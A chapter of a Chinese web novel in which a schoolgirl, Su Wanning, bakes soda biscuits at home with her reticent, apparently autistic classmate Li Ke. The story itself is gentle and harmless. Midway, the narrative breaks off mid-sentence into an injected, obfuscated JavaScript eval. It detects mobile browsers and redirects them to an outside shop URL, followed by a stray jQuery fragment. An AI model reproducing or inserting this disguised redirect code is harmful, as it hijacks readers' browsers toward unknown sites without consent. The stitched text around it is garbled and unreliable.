星期天早上六点四十，苏晚柠就醒了。
不是闹钟叫的——周末她从来不定闹钟。是窗外那棵栀子花。六月的花期正盛，香气从纱窗的缝隙里挤进来，在她房间的每一个角落打了个转。她睁眼看了天花板大概十秒，然后翻身下床。
客厅里没人。苏妈昨晚夜班，天亮才回来，主卧的门关着，里面没有声音。苏爸出差——桌上留了一张便条，蓝色的圆珠笔写的："冰箱里有鸡蛋和牛奶。你自己弄早饭。爸。"便条下面压了一张二十块钱。
苏晚柠把便条收进厨房抽屉——一个专门放家里字条的饼干盒，铁皮的，上面印着蓝莓图案，边缘有点生锈。她妈说扔了吧，她不扔。从初一开始攒到现在，她爸写的、她妈写的、她自己写的——买菜清单、家长会通知、偶尔一两句"饭在锅里"。攒了大半个饼干盒。
她打开冰箱。鸡蛋、牛奶、黄油——黄油是昨天让苏妈下班顺路买的，无盐的，切了一小块放在冷藏室解冻。低筋面粉在橱柜第二层，上周就备好了。糖粉、可可粉、小苏打——她从橱柜里一瓶一瓶拿出来，在料理台上一字排开。
然后她看了一眼客厅墙上的钟。
七点二十。
离十点还有两个小时四十分钟。
她把抹布浸湿，开始擦料理台。其实昨晚已经擦过了——她回来以后第一件事就是把厨房收拾了一遍。但她还是又擦了一遍，从灶台到水槽到切菜板，连抽油烟机的边角都用旧牙刷刷了一圈。苏妈早上回来要是看见——可能会以为自己走错了门。
擦完料理台，她站在厨房中间，看了一圈。烤箱擦过了，烤盘铺好了油纸，打蛋器挂在挂钩上，面粉筛立在碗旁边。一切就绪。
七点五十八。
她把围裙从门后取下来。浅蓝色的，上面印着一只卡通猫，初中的时候苏妈在超市买的——买一送一，另一条给了隔壁王阿姨。围裙的系带洗得有点起毛了，但很干净，她上周特意手洗过。
穿围裙的时候她的手在背后系了两次才系好——第一次系得太紧，勒肚子；第二次松了一点，又怕掉。她解开，重新系。第三次正好。
然后她坐在餐桌旁边等。
客厅很安静。只有冰箱压缩机嗡嗡的声音，和窗外偶尔几声鸟叫。阳光从阳台的玻璃门照进来，在地砖上切出一块长方形——早晨的太阳位置还低，长方形的边缘一直伸到餐桌腿边上。
她看着那块光斑慢慢地往她脚边移。
八点三十。
她站起来，去厨房把黄油从冰箱拿出来。冷藏过的黄油硬邦邦的，在室温下需要放软。她把黄油块放在一个小瓷碗里，摆在料理台太阳能照到的位置。然后又坐回餐桌边。
八点四十五。
她开始想——李可会不会来。
昨天在教室里，李可说了"知道了"。两个字。但"知道了"和"我会来"之间——隔着什么？苏晚柠不知道。李可说的话没有多余的字，但也从来没有明确的承诺。她只是把信息收下，存档，像她整理笔记本一样——夹在某一页之间，需要的时候再翻出来。
如果她不来呢？
苏晚柠低头看自己的手。围裙的系带在腰边垂下来一截。如果她不来——也没什么。饼干自己烤，面粉和黄油不会浪费。只是——
她没往下想。
九点十五。
她听见主卧里苏妈翻了个身，然后又没了动静。夜班回来的人睡觉很沉——苏妈在超市收银，周六的夜班最忙，从晚上八点站到早上六点。苏晚柠轻手轻脚地去厨房烧了一壶水，把苏妈的水杯灌满，放在床头柜上。
回到厨房，黄油已经软了。她用指尖按了按——刚好能按出一个小凹痕。
九点四十。
她把面粉倒进碗里，过筛——细白的粉末从筛网里落下来，在碗底堆成一座小山。可可粉也筛了一道。然后把软化的黄油和糖粉放进另一个盆里，打蛋器插上电。她没开始打——只是把所有东西排好位置。
九点五十五。
她站在厨房里，打蛋器握在手里，耳朵听着门口。
窗外有一只麻雀落在阳台栏杆上，歪着头往屋里看了一眼。风把栀子花的香气又送进来一波。
十点整。
没有敲门声。
十点零三分。还是没有。
苏晚柠把打蛋器放下。拿起手机看了一眼——没有新消息。她把手机锁屏，屏幕朝下，放在料理台上。然后她又拿起来，看了眼公众号后台。那条省城的私信还在——没回。关注数还是1061。
十点零五。
她给自己倒了一杯凉白开，站在厨房门口喝完。水从喉咙里凉下去的时候她在想——要不要发条消息。但她没有李可的手机号。即使有，她也不会发——发了就是催，催就不是邀请。
十点零八。
门铃响了。
不是"叮咚"那种——是老式的机械门铃，塑料按钮里面的弹簧弹了一下，声音短促，像有人用指甲在铁皮上敲了一记。
苏晚柠把杯子放在桌上，走过去开门。门把手有点滑——她手心全是汗。
门开了。
李可站在门外。
她穿着校服。星期天——她穿的还是校服。白衬衫，蓝色长裤，裤脚有一小块洗不掉的墨水渍。头发跟平时一样——刘海遮着大半张脸，校服拉链拉到最上面。但她的书包换了——不是平时背的那个蓝色书包，是一个米白色的帆布袋，斜挎在肩上，带子调得有点长，袋子几乎垂到大腿。
帆布袋上面印着一个褪色的logo——"县新华书店·购书袋"。袋子里鼓鼓囊囊的，不知道装了什么。
苏晚柠侧开身。
"进来。我刚准备开始。"
李可站在门口没有马上迈步。她的眼睛从额发的缝隙间扫了一遍玄关——鞋柜、拖鞋、墙上的挂钩、挂钩上挂的雨伞、伞柄是弯木的。她的视线在每一件东西上都停了一下，像在整理一个目录。
然后她弯下腰，把帆布鞋脱了——左脚先脱，用右脚踩住左脚鞋跟。然后右脚，用左脚踩住右脚鞋跟。两只鞋并排放在门口，鞋尖朝外，间距刚好一只鞋的宽度。
她直起腰，走进来。
"……没有迟到。"
苏晚柠看了一眼钟。十点零九分。从公交站走到她家，正常速度大概需要四分钟——如果李可是十点钟下的公交车，她用了将近九分钟。
多出来的五分钟在干什么——苏晚柠没有问。
"没迟到。刚好。"她把一双拖鞋放在李可脚边。"你先坐。厨房在这边。"
李可穿上拖鞋。她站在客厅中央，没有坐下。目光扫过茶几、沙发、电视机、电视机上面摆的相框——一张全家福，苏爸苏妈和苏晚柠，三年前的暑假在县公园拍的，背景是人工湖和假山。苏晚柠在照片里扎着马尾，笑得露出牙套——那时候她还在戴牙套。
李可看了大概三秒，然后把目光收回来。她站在客厅中央，两只手垂在身体两侧，手指微微弯着——不知道往哪里放。
"来厨房。你洗手——水槽在这边。"
苏晚柠走在前面。她听见身后拖鞋的声音——李可的脚步很轻，但每一步都踩得完整，不像有的人穿着拖鞋会在地上拖着走。
厨房不大。苏家的厨房是九十年代老房子的格局——L形操作台，白瓷砖贴到腰线，上面刷着米黄色的防水涂料。灶台旁边有一扇小窗，对着阳台外面的栀子花。窗户开了半扇，风从纱窗里吹进来，把料理台上的面粉袋轻轻拂动了一角。
李可站在厨房门口。她看了看操作台——面粉、黄油、可可粉，打蛋器、烤盘。然后她看了一眼苏晚柠身上的围裙。
"……你要我做什么。"
不是问句——不是"你要我做什么？"。没有升调。是陈述句转了一个方向。像在说"你可以告诉我你要我做什么"。
苏晚柠从门后面取下另一条围裙——也是浅蓝色的，但图案不一样，是一个小熊。她把围裙递给李可。
"先围上。不然面粉弄到校服上——洗不掉。"
李可接过围裙。她把它展开——正反面都看了，然后把系带从脖子的位置绕过去。第一次绕反了——系带搭在了肩膀上，没有从脖子后面穿过去。苏晚柠在旁边看了一秒，往前走了半步。
"这里——从后面。我帮你。"
她站到李可身后，把围裙的系带从李可后颈绕过去。李可的肩膀僵了一下——只有一瞬，不到一秒。然后松开了。
苏晚柠把系带穿过领口的扣环，在腰后面打了一个蝴蝶结。不太好看——歪的，左边大右边小。但她没有重来。打完她退后一步。
"好了。洗手——这边。"
李可走到水槽边。拧开水龙头——先拧到底，水太大，溅在水槽边缘弹回来，打湿了校服袖口。她把水关小，洗了一遍，关掉水龙头，搓了搓手指——然后又把水龙头打开，重新冲了一遍。冲完关好水龙头，从墙上取下擦手毛巾，把指缝一根一根擦干。然后把毛巾叠成原样，挂回挂钩上——挂钩的朝向跟之前完全一致。
"我们先做原味的。"苏晚柠把黄油盆端到李可面前。"黄油和糖粉——你用打蛋器打。我扶着盆。"
李可看着打蛋器。
苏晚柠把打蛋器递给她——手柄朝外。李可接过去，握在手心掂了掂。然后她低头看盆里的黄油块。
"……硬的。"
"室温放了半个小时——已经软了。你试试。用打蛋器的头戳一下。"
李可把打蛋器的头按进黄油块里。黄油被劈成两块——一块粘在打蛋器上，一块留在盆底。她看着那两半黄油，大拇指在打蛋器的开关上悬停了一下。
"按下去。"
她按了。打蛋器嗡地转起来，黄油和糖粉在盆里飞溅——转速太快了，白色的糖粉扑起来一片，落在操作台上，落了一点在苏晚柠的围裙上。
"慢一点——可以调——"
话音还没落，李可已经换了另一只手，把打蛋器的开关往回拨了一段——找到了中间那档。打蛋器的嗡声降下来，黄油开始变软，和糖粉混在一起变成淡黄色的糊。她的手腕稳住了——不抖。像她在笔记本上画苯环——每一个角都画得完整。
苏晚柠看着她的手。不是灵巧——是精确。打蛋器的头在盆里画着小圈，每一次回转的直径差不多，力量均匀，黄油糊的边缘比中心略深，是标准的搅拌轨迹。
一个人能把笔记本上的苯环画得每一笔都在恰当的位置，在打蛋的时候也能做到。
"你以前用过打蛋器。"
"……我家的。吵。妈不让用。"
没说几个字，但苏晚柠听懂了——家里有打蛋器，李可想用，被制止过。不是因为不会，是因为吵。自闭症孩子对声音敏感——打蛋器的电机嗡鸣对她是另一种东西。
但现在她按着开关的手没有缩回去。
黄油打好了。淡黄色，质地均匀，用打蛋器提起来的时候能拉出一个柔软的尖——苏晚柠在旁边看了一眼，没说话。李可自己把打蛋器停下来，在盆沿上磕掉刀头上沾的黄油糊——磕了两下，第二下比第一下轻，刚好够把残料磕下来。
"下一步。加鸡蛋。"
"……几个。"
"一个。蛋清蛋黄一起打。"
李可拿起鸡蛋。她不是像普通人那样在碗沿上磕——而是把鸡蛋立起来，大头朝上，用指甲在蛋壳顶端找到一个小凹点，然后轻轻敲了一下。裂缝从凹点开始，沿着蛋壳的弧线延伸——恰好够把大拇指按进去。
她把蛋壳掰开。蛋清和蛋黄一起落进黄油糊里，半个碎蛋壳都没有掉进去。
苏晚柠看了她一眼。这种打鸡蛋的手法她只在她妈那里见过——超市卖鸡蛋的阿姨教的，说这样不会掉蛋壳。她妈练了很久才学会。
李可把蛋壳放在操作台上——两半蛋壳并排摆好，内面朝上。然后她重新拿起打蛋器。
这一次她没有调档。直接按到中间那档——打蛋器嗡地转起来，蛋液和黄油糊搅在一起，颜色从淡黄变成浅白。她的手腕依然稳。
苏晚柠忽然想起运动会上李可的跳高——五步助跑，跟所有人都不一样。她每一步踩的都是自己的距离。
面粉筛好了。苏晚柠把低筋面粉分三次加进黄油糊里。李可没有问为什么分三次——她用橡皮刮刀把面粉从外往里翻，翻到底，从底下抄上来，再折回去。翻拌的手法不是"搅"——是"抄"。手腕的角度始终没有变。
"谁教你的翻拌。"
"……书上看的。"
她把盆转了四十五度，继续翻。翻到第三次的时候，面糊已经变成了面团——淡黄色，不粘手，表面光滑，用手指按一下能弹回来。
苏晚柠把面团分成两半。一半留在盆里——原味。另一半她往里面加了两勺可可粉。
"这半做巧克力味的。"
李可看着可可粉落进面团里——深褐色的粉末在淡黄色面团上堆了一个小山丘。她拿起刮刀，把可可粉包进面团里，开始翻。褐色的纹路在面团里一层一层地展开，像地质层。
她没有问为什么做巧克力味。
但翻到第三下的时候，她的手腕停了一下。
"……给你的。"
苏晚柠愣了半秒才反应过来——李可是在回答"为什么做巧克力味"这个问题。她已经把问题处理完了，把答案整理好了，然后说出来——不是即时反应，而是延迟了三步的时间。
"不是给我的。"苏晚柠说。"给宋星燃的。他昨天说想吃巧克力味的——那叫一个理直气壮。"她笑着说。
李可把翻拌完的巧克力面团放在操作台上。
两团面都揉好了，用保鲜膜包好，放进冰箱冷藏——需要醒半个小时，让面筋松弛，烤出来才酥。苏晚柠把计时器调到三十分钟，放在餐桌上。
"要等一会儿。你坐。"
李可站在厨房门口。她的目光扫了一圈客厅——还是刚才那个客厅，茶几下铺着米色的地毯，沙发上有两个坐垫，靠窗的角落堆着几本书。她走到沙发旁边，没有坐下——
然后苏晚柠看见她打开了帆布袋。
她从帆布袋里拿出一个东西。笔记本。化学笔记本——就是昨天夹着地址纸条的那本。她翻到第38页——那张纸条还在。她把纸条抽出来，放在茶几上。然后继续翻，翻到大概三分之二的位置，停下来。
她把笔记本转过来，朝向苏晚柠。
那一页上面写的不是笔记。是——一张配方表。
手写的。铅笔。字迹一笔一划，每一个字的大小差不多，行距整齐。最上面一行写着"苏打饼干·配方"。下面分行列出：低筋面粉 / 黄油 / 糖粉 / 鸡蛋 / 小苏打 / 盐。每一种材料后面画了一个方框——不是勾，是框。步骤分成四步，每步一行。最下面有一行字：
"[ ] 烤箱预热180度" "[ ] 冷藏时间30分钟？"
问号画得很用力——铅笔芯在那个弧线上折过一次，中间有一道更深的笔触。
苏晚柠盯着那张配方表看了大概五秒。
然后她拍了拍胸脯。
"萌新才看这些。"她把笔记本往李可那边推回去半厘米，下巴微微扬起。"苏大厨只需要两个适量——盐适量，糖适量。眼睛就是秤，手就是量杯。"
李可看着她。额发后面，她的眼睛动了一下——不确定那是什么表情。可能是愣住，可能是"你在说什么"。
"……没写盐。"
苏晚柠低头一看。配方表上——确实没有盐。
她的手在胸脯上停了一拍。然后放下来。
"……那大概是因为苏打饼干本来就不放盐。"她面不改色地把笔记本又推了回来。"你看这里——'30分钟？'。这个问号画对了。一会儿你自己看——饼干从进烤箱到出炉，中间会变。不是书上写的进度条。是自己判断。"
她说"自己判断"的时候——声音比刚才拍胸脯的时候低了半度。不是心虚。是从苏大厨切回了苏晚柠。
李可看了一眼配方表上的问号。又看了她一眼。
"……怎么判断。"
"边缘变黄。再等一分钟。取出。你到时候自己判断。"
李可把笔记本翻到下一页，在空白的地方写了两个字："边缘。"然后她在下面画了一条横线。然后把笔记本阖上，放在茶几上。
计时器还在滴答滴答地走。
苏晚柠去厨房给两人各倒了一杯水。凉白开——她从冰箱里拿出来的玻璃水壶，杯壁上凝了一层水珠。她把水杯放在李可面前。
李可拿起杯子。她看了看杯子——玻璃杯，透明，水在杯子里没有颜色。她把杯子举到窗前的阳光下，看阳光透过水——水面在阳光里晃了一下，折射的光在茶几上画了一道弯。然后她喝了一小口。把杯子放回茶几——杯底落在杯垫的正中央。
"你妈——不在？"
"夜班。在睡觉。"
"我爸在市委。"李可说。她看着茶几上的水杯，水面的波纹还没停。"他早上七点出门。晚上开会——不一定几点。我妈在大学——她这学期排了周日的课。中间我——一个人。"
她的声音很平。没有抱怨，没有孤独。是汇报。但汇报本身——本身就是"我在告诉你"。对李可来说，主动告诉别人一件事，已经在开口——不是回答，是开口。
苏晚柠盘腿坐在沙发另一头，把膝盖抱起来。她的脚心贴着沙发垫子——夏天，光脚，沙发有点凉。
"我以前也一个人。我妈忙，我爸出差。后来我发现——做饼干比等人好一点。饼干不会晚点。它该熟的时候一定熟。"
李可没有说话。但她的右手食指在茶几上画了一下——从水杯的左边到右边，一条线。
然后又画了一条——从上面到下面。一个十字。
计时器响了。
三十分钟。
她们回到厨房。苏晚柠把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626861|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冷藏好的面团从冰箱里拿出来。原味的面团硬了一点，用手按下去会回弹。她揪了一小块，放在手心里搓成球，然后用大拇指按扁——扁圆的，中间凹下去一点，边缘不整齐。她把饼干坯子放在烤盘上，油纸上面第一排。
"你也来。随便按。"
李可看着那团面团。她揪了一块——不大不小，跟苏晚柠揪的那块差不多，但她没有马上搓。她先把面团放在左手掌心，右手覆上去，两只手合在一起，感受面团的温度——像在确认一个东西是真实的。
然后她开始搓球。她搓出来的球是正圆的——不是扁圆，是几何意义上的圆。她放在油纸上，没有按。
"不按？"
李可伸出右手食指。没有按。她用指尖在面团球的正上方轻轻点了一下——点出一个凹痕，像个微型火山口。然后她把食指拿开，看着那个凹痕。
"……够了。"
苏晚柠看着她那个正圆的、顶上有个小坑的饼干坯子。跟自己的扁圆饼干排在一起——一个整齐得像从几何课本上抠下来的，一个歪七扭八边缘不齐。她忽然觉得这两种放在一起是对的——不是一样才叫"一起做"。
烤箱预热好了。180度。苏晚柠把烤盘推进去，关上烤箱门。透过烤箱的玻璃门，能看见饼干坯子在里面安静地躺着——扁圆的、正圆的、椭圆的，淡黄色的和深褐色的。烤箱的红光从底下映上来，把它们照得有点发亮。
"现在等。"
苏晚柠把计时器又调到十分钟。两人站在烤箱前面——苏晚柠靠着操作台，李可站在她旁边，两人之间隔了一个拳头的距离。厨房里很安静，只有烤箱风扇转动的声音，和远处客厅里挂钟的秒针。外头的栀子花香味从纱窗里一阵一阵地飘进来。
过了大概三分钟，苏晚柠侧头看了一眼李可。
李可一直盯着烤箱的玻璃门。
不是漫无目的地盯着。她的目光锁在饼干坯子上——像在看一个正在发生的过程。她在观察——和运动会那天在沙坑里观察自己的脚印、和期中考试时观察化学卷子上的同分异构体——是同一种看。
但这一次不一样。
她的嘴角——往上扬了一点。很小的弧度。如果不仔细看，会以为是烤箱红光照在她脸上的错觉。但苏晚柠站在她旁边，看得很清楚。
李可在笑。
不是"开心"，不是"激动"。是饼干坯子在烤箱里慢慢膨胀，边缘开始变黄，黄油融化，小苏打开始释放气体，面团中间鼓起一个一个小气泡——而她离那个过程只有三十厘米的距离。玻璃门隔开了热量，但没有隔开光。她的脸映在烤箱玻璃上，琥珀色的灯光从下巴打上去，把她的轮廓模糊了一道边。
饼干烤好了。
苏晚柠戴上隔热手套，把烤盘端出来放在铁架上。原味的饼干颜色金黄，边缘微褐，表面裂开细密的纹路，气泡孔在热空气里慢慢闭合。巧克力饼干颜色更深，中间那道竖线烤完以后鼓起来一条——歪的，但歪在一起。
李可伸出手，想去拿一块。
"烫。"苏晚柠拦住她。"要晾五分钟。"
李可收回手。她看着饼干在铁架上散热——热气从饼干表面升起来，把空气扭曲了一道。过了大概十秒，她又伸出手——用食指的指背，轻轻碰了一下饼干的边缘。像她在教室碰苯环那一页——碰一下，确认温度，收回去。
"……很烫。"
苏晚柠把一块原味饼干翻过来，背面朝上，用手指按了按——酥的，中间的凹陷刚好够放一根拇指。饼干凉得差不多了。
"你尝一块。第一块归你。"
李可拿起一块原味的。她把饼干翻过来——正面反面都看了一下，表面的气泡孔有大有小，边角有一点微焦。然后她咬了一口。
嚼了两下。咽下去。
"……酥的。"
她把剩下半块饼干在手里转了半圈，咬了一口——然后她把饼干放在碟子上，转过头。她看苏晚柠。不是看别的地方——是直接看她的眼睛。
"跟课本上不一样。"
苏晚柠看着她。
"课本上说——碳酸氢钠受热分解成碳酸钠、水和二氧化碳。水蒸发。二氧化碳在面团里形成气泡。"她说话的时候右手食指在操作台上画圈——不是紧张，是在复现反应过程。"气泡——在嘴里。课本上没有写。"
冷却时间到了。苏晚柠把原味饼干装进一个保鲜盒——透明盖子，扣上去的时候响了一下。巧克力饼干单独装在另一个保鲜袋里，扎上橡皮筋，放在料理台靠里的位置——明天自己带回学校。
"这盒——你的。"她把保鲜盒推到李可面前。
李可看着那个保鲜盒。蓝色的盖子，透明的盒身，里面一排排码着原味苏打饼干。她拿起盒子——两只手端着的，像端一个稍微有点重的东西。
"……谢谢。"
苏晚柠没有说"不客气"。她说："周一见。"
李可把保鲜盒放进帆布袋——盒子放进去以后帆布袋的形状变了，原来软塌塌地垂在大腿边，现在方方正正地支起来。她把帆布袋背好，走到玄关。脚踩进帆布鞋——左脚先穿，右脚后穿。
穿好鞋，她站在玄关没动。
"……下次。"
苏晚柠站在厨房门口，看着她。
"下次——我可以帮你筛面粉。"
她说完这句话，推开门，走出去。
门在身后关上的一瞬间，苏晚柠靠在厨房门框上，慢慢呼出一口气。她说"下次"。
她走到窗边。阳台外面，栀子花在正午的阳光下白得晃眼。楼下水泥路上，李可的帆布鞋啪嗒啪嗒地走远。帆布袋方方正正地支在腰边，里面装着饼干和一本写满了化学方程式的笔记本。
下午两点，苏晚柠打开公众号后台。那条省城实验中学的私信还在——头像上的折耳猫歪着头。标题栏显示消息未读，但她已经读了三遍了。
她点进回复框。打字。删掉。又打。又删。
第三次终于发出去了。
"你好。谢谢你们关注。我们是县城中学的学生，这个号是几个人一起做的。化学那篇是匿名投稿——我们后台不记名。如果需要联系作者，请留下邮箱地址，我会转达。祝学习顺利。"
她看了两遍。没有透露任何信息，但也没有把门关上。如果那个化学老师真有诚意——会留邮箱。如果只是好奇——到这里就停了。
发出去以后她把笔记本拿出来。不是公众号的编辑笔记——是化学笔记本。"李可·化学"——封面上她写的五个字。翻开第一页，是原子守恒三步法的板书稿。再翻几页，是期中考试以后方老师发的试卷错题。
她在最后一页空白处写了一行字：
"周日。李可第一次来家里做饼干。"
然后把笔记本合上。
星期一早上六点五十，苏晚柠背着一个鼓起来的书包走进教室。
宋星燃已经到了——他住校，从来都是前五个进教室的。他坐在靠窗第三排，面前摊着一本英语词汇手册，但他在看窗外——操场上有人在跑圈，不知道是哪个班的学生。
苏晚柠走到他旁边，从书包里掏出一个保鲜袋。
"啪"地放在他桌上。
保鲜袋里是巧克力色的苏打饼干。袋口扎着绿色的橡皮筋——不是她平时扎头发的黑色皮筋，是专门找的。
宋星燃低头看了看饼干。又抬头看了看她。
"真带了。"
他把袋口打开，拿出一块。咬了一口。
"呜哇——巧克力比盐的就是好吃。"他嚼了两下。"谢谢苏苏，最爱你了——"
他双手举过头顶，比了一个心。
苏晚柠一脸嫌弃。"你把手放下来。英语早读。"
"比心又不妨碍背单词。"宋星燃把剩下的半块塞进嘴里，低头把保鲜袋叠了一下，放进书包夹层——夹层里还有一本《高考物理常考题型》和一张没做完的力学卷子。
早读铃响了。
邹成从门口进来，手里拿着一叠通知。他走到讲台上，把通知放在粉笔盒旁边——没有贴，先把粉笔盒扶正了一下。
"这周值日表贴在后面了。大家自己看一眼。"他看了眼黑板右上角的倒计时——67天。没改。粉笔字已经有点模糊了，但还能看出来。
早读开始以后，苏晚柠在课文中间抬头看了一眼最后一排。
李可坐在靠窗的位置。校服拉到最上面，刘海还是遮着。但她手里转着一支铅笔——不是平时那种紧张的转法。慢的，一圈一圈，每一圈的速度差不多。
桌上摆着一个保鲜盒——蓝色盖子，透明的盒身。
里面还有大半盒原味苏打饼干。
苏晚柠收回目光，继续看课文。但她在课文下面那张草稿纸上画了一个圈——铅笔的，浅灰色。不是零，不是句号。就是一个圈。
像烤箱玻璃后面饼干表面鼓起来的那种圈——从中心开始，一圈一圈往外扩。